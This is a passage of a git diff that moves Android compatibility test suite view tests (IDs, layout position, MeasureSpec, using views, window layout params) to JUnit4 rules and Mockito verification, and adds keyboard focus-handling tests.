+        mActivityRule.runOnUiThread(() -> activity.getLayoutInflater().inflate(res,
+                (ViewGroup) activity.findViewById(R.id.auto_test_area)));
+        instrumentation.waitForIdleSync();
+        View root = activity.findViewById(R.id.main_view);
+        View initial = root.findFocus();
+        instrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_TAB);
+        View first = root.findFocus();
+        return new View[]{initial, first};
+    }
+
+    @Test
+    public void testNoInitialFocus() throws Throwable {
+        Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
+        Activity activity = mActivityRule.getActivity();
+        View[] result = getInitialAndFirstFocus(R.layout.focus_handling_focusables);
+        assertNull(result[0]);
+        assertSame(result[1], activity.findViewById(R.id.focusable1));
+    }
+
+    @Test
+    public void testDefaultFocus() throws Throwable {
+        Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
+        Activity activity = mActivityRule.getActivity();
+        View[] result = getInitialAndFirstFocus(R.layout.focus_handling_default_focus);
+        assertNull(result[0]);
+        assertSame(result[1], activity.findViewById(R.id.focusable2));
+    }
+
+    @Test
+    public void testInitialFocus() throws Throwable {
+        Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
+        Activity activity = mActivityRule.getActivity();
+        View[] result = getInitialAndFirstFocus(R.layout.focus_handling_initial_focus);
+        assertSame(result[0], activity.findViewById(R.id.focusable3));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testFocusAfterDescendantsTransfer() throws Throwable {
+        final Activity activity = mActivityRule.getActivity();
+        final ViewGroup group = (ViewGroup) activity.findViewById(R.id.auto_test_area);
+        ViewGroup root = (ViewGroup) activity.findViewById(R.id.main_view);
+        group.setDescendantFocusability(ViewGroup.FOCUS_AFTER_DESCENDANTS);
+        group.setFocusableInTouchMode(true);
+        group.setKeyboardNavigationCluster(true);
+        group.requestFocus();
+        assertTrue(group.isFocused());
+
+        LinearLayout mid = new LinearLayout(activity);
+        Button but = new Button(activity);
+        but.setFocusableInTouchMode(true);
+        but.setVisibility(View.INVISIBLE);
+        mid.addView(but, ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
+
+        group.addView(mid, ViewGroup.LayoutParams.WRAP_CONTENT,
+                ViewGroup.LayoutParams.WRAP_CONTENT);
+        but.setVisibility(View.VISIBLE);
+        assertSame(root.findFocus(), but);
+        assertFalse(group.isFocused());
+
+        assertFalse(root.restoreFocusNotInCluster());
+        assertSame(root.findFocus(), but);
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/View_IdsTest.java b/tests/tests/view/src/android/view/cts/View_IdsTest.java
index 4dd00d6..200966b 100644
--- a/tests/tests/view/src/android/view/cts/View_IdsTest.java
+++ b/tests/tests/view/src/android/view/cts/View_IdsTest.java
@@ -16,25 +16,35 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
 
 import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.view.View;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.TextView;
 
-public class View_IdsTest extends ActivityInstrumentationTestCase2<UsingViewsCtsActivity> {
-    public View_IdsTest() {
-        super("android.view.cts", UsingViewsCtsActivity.class);
-    }
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class View_IdsTest {
+    @Rule
+    public ActivityTestRule<UsingViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(UsingViewsCtsActivity.class);
 
     @UiThreadTest
+    @Test
     public void testIds() {
-        Activity activity = getActivity();
+        Activity activity;
+        activity = mActivityRule.getActivity();
 
         EditText editText = (EditText) activity.findViewById(R.id.entry);
         Button buttonOk = (Button) activity.findViewById(R.id.ok);
diff --git a/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java b/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
index 53514dc..833504e 100644
--- a/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
+++ b/tests/tests/view/src/android/view/cts/View_LayoutPositionTest.java
@@ -16,36 +16,41 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
+import static org.junit.Assert.assertEquals;
 
 import android.app.Activity;
-import android.graphics.Canvas;
 import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * For the view test is too big, we divide the test cases into several parts.
  * This part contains size, padding, margin, layout and drawing
  */
-public class View_LayoutPositionTest
-        extends ActivityInstrumentationTestCase2<ViewLayoutPositionTestCtsActivity> {
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class View_LayoutPositionTest {
     private Activity mActivity;
 
-    public View_LayoutPositionTest() {
-        super("android.view.cts", ViewLayoutPositionTestCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ViewLayoutPositionTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ViewLayoutPositionTestCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
+    @Test
     public void testPositionInParent() {
         View parent = mActivity.findViewById(R.id.testparent);
         View view = mActivity.findViewById(R.id.testview);
@@ -101,6 +106,7 @@
         assertEquals(bottom + v_offset, nbottom);
     }
 
+    @Test
     public void testPadding() {
         View view = new View(mActivity);
 
diff --git a/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java b/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
index ca29992..cf97e37 100644
--- a/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
+++ b/tests/tests/view/src/android/view/cts/View_MeasureSpecTest.java
@@ -16,23 +16,31 @@
 
 package android.view.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.View.MeasureSpec;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link MeasureSpec}.
  */
-public class View_MeasureSpecTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class View_MeasureSpecTest {
     private static final int MEASURE_SPEC_SIZE = 1;
 
     private int mUnspecifiedMeasureSpec;
     private int mExactlyMeasureSpec;
     private int mAtMostMeasureSpec;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         mUnspecifiedMeasureSpec = View.MeasureSpec.makeMeasureSpec(MEASURE_SPEC_SIZE,
                 View.MeasureSpec.UNSPECIFIED);
         mExactlyMeasureSpec = View.MeasureSpec.makeMeasureSpec(MEASURE_SPEC_SIZE,
@@ -41,9 +49,7 @@
                 View.MeasureSpec.AT_MOST);
     }
 
-    public void testConstructor() {
-    }
-
+    @Test
     public void testGetSize() {
         assertEquals(MEASURE_SPEC_SIZE,
                 View.MeasureSpec.getSize(mUnspecifiedMeasureSpec));
@@ -53,6 +59,7 @@
                 View.MeasureSpec.getSize(mAtMostMeasureSpec));
     }
 
+    @Test
     public void testToString() {
         assertEquals("MeasureSpec: UNSPECIFIED " + MEASURE_SPEC_SIZE,
                 View.MeasureSpec.toString(mUnspecifiedMeasureSpec));
@@ -62,6 +69,7 @@
                 View.MeasureSpec.toString(mAtMostMeasureSpec));
     }
 
+    @Test
     public void testGetMode() {
         assertEquals(View.MeasureSpec.UNSPECIFIED,
                 View.MeasureSpec.getMode(mUnspecifiedMeasureSpec));
@@ -71,6 +79,7 @@
                 View.MeasureSpec.getMode(mAtMostMeasureSpec));
     }
 
+    @Test
     public void testMakeMeasureSpec() {
         assertEquals(MEASURE_SPEC_SIZE + View.MeasureSpec.UNSPECIFIED,
                 mUnspecifiedMeasureSpec);
diff --git a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
index 413c356..dd731cc 100644
--- a/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
+++ b/tests/tests/view/src/android/view/cts/View_UsingViewsTest.java
@@ -16,28 +16,50 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.cts.util.PollingCheck;
 import android.graphics.Bitmap;
 import android.graphics.Color;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.TouchUtils;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.View.OnClickListener;
-import android.view.View.OnFocusChangeListener;
-import android.view.View.OnLongClickListener;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.RelativeLayout;
 import android.widget.TextView;
 
+import com.android.compatibility.common.util.CtsTouchUtils;
 
-public class View_UsingViewsTest extends ActivityInstrumentationTestCase2<UsingViewsCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class View_UsingViewsTest {
     /**
      * country of Argentina
      */
@@ -68,8 +90,8 @@
      */
     private static final String CHINA_SYMBOL = "table tennis";
 
-    private Activity mActivity;
     private Instrumentation mInstrumentation;
+    private Activity mActivity;
 
     private EditText mEditText;
     private Button mButtonOk;
@@ -77,16 +99,14 @@
     private TextView mSymbolTextView;
     private TextView mWarningTextView;
 
-    public View_UsingViewsTest() {
-        super("android.view.cts", UsingViewsCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<UsingViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(UsingViewsCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
 
         mEditText = (EditText) mActivity.findViewById(R.id.entry);
         mButtonOk = (Button) mActivity.findViewById(R.id.ok);
@@ -96,34 +116,33 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetProperties() {
-        /**
-         * setClickable, setOnClickListener
-         */
+        // setClickable, setOnClickListener
         mButtonOk.setClickable(true);
         assertTrue(mButtonOk.isClickable());
 
-        MockOnClickOkListener okButtonListener = new MockOnClickOkListener();
+        View.OnClickListener okButtonListener = spy(new MockOnClickOkListener());
         mButtonOk.setOnClickListener(okButtonListener);
-        assertFalse(okButtonListener.hasOnClickCalled());
 
         mButtonOk.performClick();
-        assertTrue(okButtonListener.hasOnClickCalled());
+        verify(okButtonListener, times(1)).onClick(mButtonOk);
 
         mButtonCancel.setClickable(false);
         assertFalse(mButtonCancel.isClickable());
 
-        MockOnClickCancelListener cancelButtonListener = new MockOnClickCancelListener();
+        View.OnClickListener cancelButtonListener = mock(View.OnClickListener.class);
+        doAnswer((InvocationOnMock invocation) -> {
+            mEditText.setText(null);
+            return null;
+        }).when(cancelButtonListener).onClick(any(View.class));
         mButtonCancel.setOnClickListener(cancelButtonListener);
-        assertFalse(cancelButtonListener.hasOnClickCalled());
         assertTrue(mButtonCancel.isClickable());
 
         mButtonCancel.performClick();
-        assertTrue(cancelButtonListener.hasOnClickCalled());
+        verify(cancelButtonListener, times(1)).onClick(mButtonCancel);
 
-        /**
-         * setDrawingCacheEnabled, setDrawingCacheQuality, setDrawingCacheBackgroundColor,
-         */
+        // setDrawingCacheEnabled, setDrawingCacheQuality, setDrawingCacheBackgroundColor,
         mEditText.setDrawingCacheEnabled(true);
         assertTrue(mEditText.isDrawingCacheEnabled());
 
@@ -160,9 +179,7 @@
         assertEquals(Color.YELLOW, b.getPixel(0, 0));
         mEditText.destroyDrawingCache();
 
-        /**
-         * setDuplicateParentStateEnabled
-         */
+        // setDuplicateParentStateEnabled
         TextView v = new TextView(mActivity);
         v.setSingleLine(); // otherwise the multiline state interferes with theses tests
         v.setEnabled(false);
@@ -183,23 +200,18 @@
         parent.addView(v);
         v.refreshDrawableState();
 
-        assertEquals(parent.getDrawableState().length, v.getDrawableState().length);
-        assertEquals(parent.getDrawableState().toString(), v.getDrawableState().toString());
+        assertArrayEquals(parent.getDrawableState(), v.getDrawableState());
         parent.removeView(v);
 
-        /**
-         * setEnabled
-         */
+        // setEnabled
         mWarningTextView.setEnabled(false);
         assertFalse(mWarningTextView.isEnabled());
 
         mWarningTextView.setEnabled(true);
         assertTrue(mWarningTextView.isEnabled());
 
-        /**
-         * setFadingEdgeLength, setVerticalFadingEdgeEnabled and
-         * setHorizontalFadingEdgeEnabled(boolean)
-         */
+        // setFadingEdgeLength, setVerticalFadingEdgeEnabled and
+        // setHorizontalFadingEdgeEnabled(boolean)
         mWarningTextView.setVerticalFadingEdgeEnabled(true);
         assertTrue(mWarningTextView.isVerticalFadingEdgeEnabled());
         mWarningTextView.setFadingEdgeLength(10);
@@ -208,9 +220,7 @@
         assertTrue(mSymbolTextView.isHorizontalFadingEdgeEnabled());
         mSymbolTextView.setFadingEdgeLength(100);
 
-        /**
-         * setFocusable and setFocusableInTouchMode
-         */
+        // setFocusable and setFocusableInTouchMode
         mButtonCancel.setFocusable(false);
         assertFalse(mButtonCancel.isFocusable());
         assertFalse(mButtonCancel.isFocusableInTouchMode());
@@ -231,9 +241,7 @@
         assertTrue(mButtonOk.isFocusable());
         assertTrue(mButtonOk.isFocusableInTouchMode());
 
-        /**
-         * setHorizontalScrollBarEnabled and setVerticalScrollBarEnabled
-         */
+        // setHorizontalScrollBarEnabled and setVerticalScrollBarEnabled
         // both two bar is not drawn by default
         assertFalse(parent.isHorizontalScrollBarEnabled());
         assertFalse(parent.isVerticalScrollBarEnabled());
@@ -244,9 +252,7 @@
         parent.setVerticalScrollBarEnabled(true);
         assertTrue(parent.isVerticalScrollBarEnabled());
 
-        /**
-         * setId
-         */
+        // setId
         assertEquals(View.NO_ID, parent.getId());
         assertEquals(R.id.entry, mEditText.getId());
         assertEquals(R.id.symbolball, mSymbolTextView.getId());
@@ -261,14 +267,15 @@
     }
 
     @UiThreadTest
-    public void testSetFocus() throws Throwable {
+    @Test
+    public void testSetFocus() {
         boolean focusWasOnEditText = mEditText.hasFocus();
 
-        MockOnFocusChangeListener editListener = new MockOnFocusChangeListener();
-        MockOnFocusChangeListener okListener = new MockOnFocusChangeListener();
-        MockOnFocusChangeListener cancelListener = new MockOnFocusChangeListener();
-        MockOnFocusChangeListener symbolListener = new MockOnFocusChangeListener();
-        MockOnFocusChangeListener warningListener = new MockOnFocusChangeListener();
+        View.OnFocusChangeListener editListener = mock(View.OnFocusChangeListener.class);
+        View.OnFocusChangeListener okListener = mock(View.OnFocusChangeListener.class);
+        View.OnFocusChangeListener cancelListener = mock(View.OnFocusChangeListener.class);
+        View.OnFocusChangeListener symbolListener = mock(View.OnFocusChangeListener.class);
+        View.OnFocusChangeListener warningListener = mock(View.OnFocusChangeListener.class);
 
         mEditText.setOnFocusChangeListener(editListener);
         mButtonOk.setOnFocusChangeListener(okListener);
@@ -286,141 +293,139 @@
         assertFalse(mSymbolTextView.hasFocus());
         assertFalse(mWarningTextView.hasFocus());
 
-        assertTrue(editListener.hasFocus() || focusWasOnEditText);
-        assertFalse(okListener.hasFocus());
-        assertFalse(cancelListener.hasFocus());
-        assertFalse(symbolListener.hasFocus());
-        assertFalse(warningListener.hasFocus());
+        if (!focusWasOnEditText) {
+            verify(editListener, times(1)).onFocusChange(mEditText, true);
+        }
+        verifyZeroInteractions(okListener);
+        verifyZeroInteractions(cancelListener);
+        verifyZeroInteractions(symbolListener);
+        verifyZeroInteractions(warningListener);
 
         // set ok button to focus
+        reset(editListener);
         assertTrue(mButtonOk.requestFocus());
         assertTrue(mButtonOk.hasFocus());
-        assertTrue(okListener.hasFocus());
+        verify(okListener, times(1)).onFocusChange(mButtonOk, true);
         assertFalse(mEditText.hasFocus());
-        assertFalse(editListener.hasFocus());
+        verify(editListener, times(1)).onFocusChange(mEditText, false);
+        verifyZeroInteractions(cancelListener);
+        verifyZeroInteractions(symbolListener);
+        verifyZeroInteractions(warningListener);
 
         // set cancel button to focus
+        reset(okListener);
+        reset(editListener);
         assertTrue(mButtonCancel.requestFocus());
         assertTrue(mButtonCancel.hasFocus());
-        assertTrue(cancelListener.hasFocus());
+        verify(cancelListener, times(1)).onFocusChange(mButtonCancel, true);
         assertFalse(mButtonOk.hasFocus());
-        assertFalse(okListener.hasFocus());
+        verify(okListener, times(1)).onFocusChange(mButtonOk, false);
+        verifyZeroInteractions(editListener);
+        verifyZeroInteractions(symbolListener);
+        verifyZeroInteractions(warningListener);
 
         // set symbol text to focus
         mSymbolTextView.setFocusable(true);
         assertTrue(mSymbolTextView.requestFocus());
         assertTrue(mSymbolTextView.hasFocus());
-        assertTrue(symbolListener.hasFocus());
+        verify(symbolListener, times(1)).onFocusChange(mSymbolTextView, true);
         assertFalse(mButtonCancel.hasFocus());
-        assertFalse(cancelListener.hasFocus());
+        verify(cancelListener, times(1)).onFocusChange(mButtonCancel, false);
+        verifyZeroInteractions(okListener);
+        verifyZeroInteractions(editListener);
+        verifyZeroInteractions(warningListener);
 
         // set warning text to focus
         mWarningTextView.setFocusable(true);
         assertTrue(mWarningTextView.requestFocus());
         assertTrue(mWarningTextView.hasFocus());
-        assertTrue(warningListener.hasFocus());
+        verify(warningListener, times(1)).onFocusChange(mWarningTextView, true);
         assertFalse(mSymbolTextView.hasFocus());
-        assertFalse(symbolListener.hasFocus());
+        verify(symbolListener, times(1)).onFocusChange(mSymbolTextView, false);
+        verifyZeroInteractions(editListener);
+        verifyZeroInteractions(okListener);
+        verifyZeroInteractions(cancelListener);
 
         // set edit text to focus
         assertTrue(mEditText.requestFocus());
         assertTrue(mEditText.hasFocus());
-        assertTrue(editListener.hasFocus());
+        verify(editListener, times(1)).onFocusChange(mEditText, true);
         assertFalse(mWarningTextView.hasFocus());
-        assertFalse(warningListener.hasFocus());
+        verify(warningListener, times(1)).onFocusChange(mWarningTextView, false);
+        verifyZeroInteractions(cancelListener);
+        verifyZeroInteractions(symbolListener);
+        verifyZeroInteractions(okListener);
     }
 
+    @Test
     public void testSetupListeners() throws Throwable {
         // set ok button OnClick listener
         mButtonOk.setClickable(true);
         assertTrue(mButtonOk.isClickable());
 
-        MockOnClickOkListener okButtonListener = new MockOnClickOkListener();
+        View.OnClickListener okButtonListener = spy(new MockOnClickOkListener());
         mButtonOk.setOnClickListener(okButtonListener);
 
         // set cancel button OnClick listener
         mButtonCancel.setClickable(true);
         assertTrue(mButtonCancel.isClickable());
 
-        MockOnClickCancelListener cancelButtonListener = new MockOnClickCancelListener();
+        View.OnClickListener cancelButtonListener = mock(View.OnClickListener.class);
+        doAnswer((InvocationOnMock invocation) -> {
+            mEditText.setText(null);
+            return null;
+        }).when(cancelButtonListener).onClick(any(View.class));
         mButtonCancel.setOnClickListener(cancelButtonListener);
 
         // set edit text OnLongClick listener
         mEditText.setLongClickable(true);
         assertTrue(mEditText.isLongClickable());
 
-        final MockOnLongClickListener onLongClickListener = new MockOnLongClickListener();
+        final View.OnLongClickListener onLongClickListener =
+                mock(View.OnLongClickListener.class);
         mEditText.setOnLongClickListener(onLongClickListener);
 
         // long click the edit text
-        assertFalse(onLongClickListener.isOnLongClickCalled());
-        assertNull(onLongClickListener.getView());
-
         mInstrumentation.waitForIdleSync();
-        TouchUtils.longClickView(this, mEditText);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return onLongClickListener.isOnLongClickCalled();
-            }
-        }.run();
-        assertSame(mEditText, onLongClickListener.getView());
+        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mEditText);
+        verify(onLongClickListener, within(1000)).onLongClick(mEditText);
 
         // click the Cancel button
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mEditText.setText("Germany");
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mEditText.setText("Germany"));
         mInstrumentation.waitForIdleSync();
 
-        TouchUtils.clickView(this, mButtonCancel);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mButtonCancel);
         assertEquals("", mEditText.getText().toString());
 
         // click the OK button
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mEditText.setText(ARGENTINA);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mEditText.setText(ARGENTINA));
         mInstrumentation.waitForIdleSync();
 
-        TouchUtils.clickView(this, mButtonOk);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mButtonOk);
         assertEquals(ARGENTINA_SYMBOL, mSymbolTextView.getText().toString());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mEditText.setText(AMERICA);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mEditText.setText(AMERICA));
         mInstrumentation.waitForIdleSync();
 
-        TouchUtils.clickView(this, mButtonOk);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mButtonOk);
         assertEquals(AMERICA_SYMBOL, mSymbolTextView.getText().toString());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mEditText.setText(CHINA);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mEditText.setText(CHINA));
         mInstrumentation.waitForIdleSync();
 
-        TouchUtils.clickView(this, mButtonOk);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mButtonOk);
         assertEquals(CHINA_SYMBOL, mSymbolTextView.getText().toString());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mEditText.setText("Unknown");
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mEditText.setText("Unknown"));
         mInstrumentation.waitForIdleSync();
 
-        TouchUtils.clickView(this, mButtonOk);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mButtonOk);
         assertEquals(View.VISIBLE, mWarningTextView.getVisibility());
     }
 
     @UiThreadTest
-    public void testSetVisibility() throws Throwable {
+    @Test
+    public void testSetVisibility() {
         mActivity.setContentView(R.layout.view_visibility_layout);
 
         View v1 = mActivity.findViewById(R.id.textview1);
@@ -445,21 +450,7 @@
         assertEquals(View.INVISIBLE, v3.getVisibility());
     }
 
-    private static class MockOnFocusChangeListener implements OnFocusChangeListener {
-        private boolean mHasFocus;
-
-        public void onFocusChange(View v, boolean hasFocus) {
-            mHasFocus = hasFocus;
-        }
-
-        public boolean hasFocus() {
-            return mHasFocus;
-        }
-    }
-
-    private class MockOnClickOkListener implements OnClickListener {
-        private boolean mHasOnClickCalled = false;
-
+    protected class MockOnClickOkListener implements OnClickListener {
         private boolean showPicture(String country) {
             if (ARGENTINA.equals(country)) {
                 mSymbolTextView.setText(ARGENTINA_SYMBOL);
@@ -476,8 +467,6 @@
         }
 
         public void onClick(View v) {
-            mHasOnClickCalled = true;
-
             String country = mEditText.getText().toString();
             if (!showPicture(country)) {
                 mWarningTextView.setVisibility(View.VISIBLE);
@@ -485,50 +474,5 @@
                 mWarningTextView.setVisibility(View.INVISIBLE);
             }
         }
-
-        public boolean hasOnClickCalled() {
-            return mHasOnClickCalled;
-        }
-
-        public void reset() {
-            mHasOnClickCalled = false;
-        }
-    }
-
-    private class MockOnClickCancelListener implements OnClickListener {
-        private boolean mHasOnClickCalled = false;
-
-        public void onClick(View v) {
-            mHasOnClickCalled = true;
-
-            mEditText.setText(null);
-        }
-
-        public boolean hasOnClickCalled() {
-            return mHasOnClickCalled;
-        }
-
-        public void reset() {
-            mHasOnClickCalled = false;
-        }
-    }
-
-    private static class MockOnLongClickListener implements OnLongClickListener {
-        private boolean mIsOnLongClickCalled;
-        private View mView;
-
-        public boolean onLongClick(View v) {
-            mIsOnLongClickCalled = true;
-            mView = v;
-            return true;
-        }
-
-        public boolean isOnLongClickCalled() {
-            return mIsOnLongClickCalled;
-        }
-
-        public View getView() {
-            return mView;
-        }
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/WindowCtsActivity.java b/tests/tests/view/src/android/view/cts/WindowCtsActivity.java
index 3cfcc96..0d8e14c 100644
--- a/tests/tests/view/src/android/view/cts/WindowCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/WindowCtsActivity.java
@@ -16,8 +16,6 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.KeyEvent;
diff --git a/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java b/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
index db5607c..1e31b11 100644
--- a/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowManager_BadTokenExceptionTest.java
@@ -15,11 +15,20 @@
  */
 package android.view.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.WindowManager.BadTokenException;
 
-public class WindowManager_BadTokenExceptionTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WindowManager_BadTokenExceptionTest {
+    @Test
     public void testBadTokenException(){
         BadTokenException badTokenException = new BadTokenException();
         try {
diff --git a/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java b/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
index 7586ed3..b829470 100644
--- a/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
+++ b/tests/tests/view/src/android/view/cts/WindowManager_LayoutParamsTest.java
@@ -16,17 +16,28 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.graphics.PixelFormat;
 import android.os.Binder;
 import android.os.IBinder;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannedString;
 import android.view.Gravity;
 import android.view.WindowManager;
 
-public class WindowManager_LayoutParamsTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class WindowManager_LayoutParamsTest {
     private static final int WINDOW_WIDTH = 320;
     private static final int WINDOW_HEIGHT = 480;
     private static final int XPOS = 10;
@@ -45,6 +56,7 @@
 
     private WindowManager.LayoutParams mLayoutParams;
 
+    @Test
     public void testConstructor() {
         new WindowManager.LayoutParams();
 
@@ -87,6 +99,7 @@
                 .mayUseInputMethod(WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM));
     }
 
+    @Test
     public void testCopyFrom() {
         mLayoutParams = new WindowManager.LayoutParams();
         WindowManager.LayoutParams params = new WindowManager.LayoutParams(
@@ -125,8 +138,8 @@
                 | WindowManager.LayoutParams.ACCESSIBILITY_TITLE_CHANGED,
                 mLayoutParams.copyFrom(params));
         assertEquals(params.getTitle(), mLayoutParams.getTitle());
-        assertEquals(params.alpha, mLayoutParams.alpha);
-        assertEquals(params.dimAmount, mLayoutParams.dimAmount);
+        assertEquals(params.alpha, mLayoutParams.alpha, 0.0f);
+        assertEquals(params.dimAmount, mLayoutParams.dimAmount, 0.0f);
 
         params = new WindowManager.LayoutParams();
         params.gravity = Gravity.TOP;
@@ -140,36 +153,38 @@
         mLayoutParams = new WindowManager.LayoutParams();
         assertEquals(WindowManager.LayoutParams.LAYOUT_CHANGED,
                 mLayoutParams.copyFrom(params));
-        assertEquals(params.horizontalMargin, mLayoutParams.horizontalMargin);
+        assertEquals(params.horizontalMargin, mLayoutParams.horizontalMargin, 0.0f);
 
         params = new WindowManager.LayoutParams();
         params.horizontalWeight = HORIZONTAL_WEIGHT;
         mLayoutParams = new WindowManager.LayoutParams();
         assertEquals(WindowManager.LayoutParams.LAYOUT_CHANGED,
                 mLayoutParams.copyFrom(params));
-        assertEquals(params.horizontalWeight, mLayoutParams.horizontalWeight);
+        assertEquals(params.horizontalWeight, mLayoutParams.horizontalWeight, 0.0f);
 
         params = new WindowManager.LayoutParams();
         params.verticalMargin = MARGIN;
         mLayoutParams = new WindowManager.LayoutParams();
         assertEquals(WindowManager.LayoutParams.LAYOUT_CHANGED,
                 mLayoutParams.copyFrom(params));
